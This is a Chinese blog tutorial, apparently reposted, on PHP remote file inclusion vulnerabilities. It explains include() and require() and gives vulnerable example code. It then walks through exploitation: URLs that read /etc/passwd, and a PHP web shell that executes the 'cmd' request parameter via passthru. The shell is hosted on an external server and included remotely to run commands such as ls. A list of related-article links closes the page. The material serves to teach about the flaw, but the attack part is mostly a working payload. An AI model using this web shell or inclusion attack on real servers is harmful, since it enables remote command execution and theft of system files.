RFI远程文件包含的漏洞
RFI(Remote File Inclusion) 远程文件包含漏洞,即服务器通过PHP的特性(函数)去包含任意文件时,
由于要包含的这个文件来源过滤不严格,从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定
的恶意文件达到攻击目的。
文件包含的目的
程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在
其他文件中包含调用代码的文件。
PHP中常用的包含调用函数有:
include(), require(), include_once(), require_once() .
include失败会弹出警告 而require则直接导致致命的错误
本地包含与远程包含
Include(“reg.php”)
If ($_GET [page]) {
Include $_GET [page];
} else {
Include “home.php”;
}
http://www.***.cn/php/main.php?page=reg.php
main.php 取得page值,执行“($_GET[page])”
如果page的值为空则包涵home.php否则include这就是本地包含
http://www.***.cn/php/main.php?page=http://www.***.cn/index.php
http://www.***.cn/index.php是一个远程的URL链接地址
这就是远程文件包含PHP配置文件中,allow_url_fopen默认是激活的
构造包含变量,产生包含漏洞 http://www.***.cn/php/main.php?page=why.php
如果why.php是并不存在的文件,那么include便会报错从而暴露出网站的物理路径
远程文件包含漏洞的利用---构造一个远程的php代码文件,传递到服务器上去
执行,以实现远程攻击的目的,这个也就是所谓的远程包含漏洞攻击了
1) 读取目标主机重要文件 可以使用…/…进行目录跳转
http://www.***.cn/php/main.php?page=/etc/passwd
2) 包含PHP木马,获得shellcode
If (get_magic_quote_gpc())
{$_REQUEST[“cmd”]=stripslashes($_REQUEST[“cmd”]);} //去掉字符串中的反斜线
Ini_set(“max_execution_time”,0) //不限制执行时间
Echo “
Binghe
"; //
Passthru($_REQUEST[“cmd”]); //运行cmd制定的命令
Echo “
Binghe
"; //
?>
这段php代码的意思是接受cmd制定的命令,调用passthru函数来执行binghe
把上面的代码保存为cmd.txt并存放在每个可以通过http访问的服务器上面
http://www.***.cn/cmd.txt
http://www.***.cn/php/main.php?page=http://www.***.cn/cmd.txt?cmd=ls
is是cmd的命令是查看,列目录,文件的意思,也可以使用其他的命令,然后就可以看到返回的结果了。
转载于:https://www.cnblogs.com/mujj/articles/3430576.html
RFI远程文件包含的漏洞相关推荐
- phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现
phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1.环境搭建 2.漏洞复现 方法一:命令执行 方法二:phpMyAdm ...
- LFI(本地文件包含)、RFI(远程文件包含)、PHP封装协议(伪协议)安全问题学习
友情链接:https://www.cnblogs.com/LittleHann/p/3665062.html 目录 一.文件包含的基本概念 1.要想成功利用文件包含漏洞,需要满足下面的条件 (1)in ...
- 文件上传漏洞之——远程文件包含漏洞(RFI)
定义 如果php.ini的配置选项allow_url_include为On的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞.利用远程文件包含漏洞,可以直接执行任意命令 原理 同本 ...
- PHP远程文件包含(RFI)并绕过远程URL包含限制
文章来源|MS08067 公众号粉丝投稿 本文作者:VastSky(Ms08067实验室粉丝) 前言 本文我们讲如何绕过远程URL包含限制.在PHP开发环境php.ini配置文里"allow ...
- php 怎么远程包含,利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...
前言 文章讲诉了如何绕过远程URL包含限制.在PHP开发环境php.ini配置文件里",allow_url_include"为"off"的情况下,不允许PHP加 ...
- 本地文件包含与远程文件包含漏洞
总结一下 1.文件包含漏洞分两种:LFI(local file include)本地文件包含 和 RFI(remote file include)远程文件包含 2.文件包含常用到的函数:include ...
- 18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...
- test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- 远程文件包含 php,php本地及远程文件包含漏洞
在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen on allow_url_include on 但是开启这两个功能之后伴随的是url ...
最新文章
- 禁用页面缓存的几种方法(静态和动态)
- Nginx隐藏主机信息,proxy_hide_header 与fastcgi_hide_header
- python怎么选择安装位置图片_怎么下载官网python并安装
- oracle物理DG管理-redo数据传输,应用与三种模式
- 在MySQL数据库上使用Quartz Scheduler入门
- mysql 递归实现树形_Mysql实现树形递归查询
- ipv6 ospf配置方法_【思唯网络学院】网络故障大全及处理原理和方法
- bool可以是java得标识符嘛_Java-标识符--修饰符--关键字
- 【Windows批处理】批处理压缩包内加密pdf文件解密
- 今日小程序推荐:文艺青年必备「轻芒杂志」
- etl构建数据仓库五步法_ETL构建数据仓库五步法
- 魔兽世界用宏显示服务器时间,网上找的宏用后不能显示冷却时间为什么啊法师 – 手机爱问...
- 俄罗斯方块游戏系统-c语言版
- 计算机六级考什么科目,四六级考试科目及考试内容
- 信息学奥赛一本通1189:Pell数列 OpenJudge1788:Pell数列
- memcached win64位服务端安装和java客户端实例
- vue的登录页面功能实现
- lt;=gt;与lt;gt;的区别
- HDU2550 百步穿杨【打印图案】
- 工具篇 之 Mac 安装 JDK 1.8 并配置环境变量